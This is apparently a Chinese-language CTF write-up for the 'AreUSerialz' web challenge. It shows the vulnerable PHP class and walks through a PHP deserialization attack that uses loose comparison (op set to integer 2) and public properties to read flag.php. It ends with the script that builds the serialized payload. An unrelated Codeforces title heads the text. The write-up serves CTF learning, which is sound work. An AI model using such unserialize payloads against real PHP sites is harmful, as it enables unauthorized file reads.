Codeforces Round 816 (Div. 2)(D拆位图论构造 E斜率优化)

[网鼎杯 2020 青龙组]AreUSerialz

1.将源代码放到本地php环境中进行调试

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

2.解题思路

4.根据上述代码分析，当$op值强比较=\==不等于str(2)，弱比较==等于2
(\$this->op === "2")//不等于字符串类型的 2
(\$this->op == "2") //弱等于2 即可为int(2)

3.所以触发__destruct()方法也没关系，正常构造即可

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op = '1';    //这里有问题，后面会讲述到
    protected $filename = 'flag.php';


    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }


    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

$test = new FileHandler;
var_dump(urlencode(serialize($test)));

4.通过URL解码，我们发现了在属性op和filename前面有乱码

5.使用十六进制进行和查看，可以看到%00%2A%00,因为op和filename是protected的属性,
在序列化的过程中会被转换成%00*%00，然而浏览器会将%00当成空值，因此无法获得flag

6.我还以为抓包就能绕过这题，但是思路错了，使用bp或者yakit进行传参后面发现这种方法不得行


7.只能利用php7的版本对属性的不敏感绕过，需要纠正前面payload的错，op的应该是整型，及int()的类型，正确的payload如下所示

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    public  $op = 2;
    public $filename = 'flag.php';





}




$test = new FileHandler;
//var_dump(serialize($test));
var_dump(serialize($test));

8.查看源代码，即可获得flag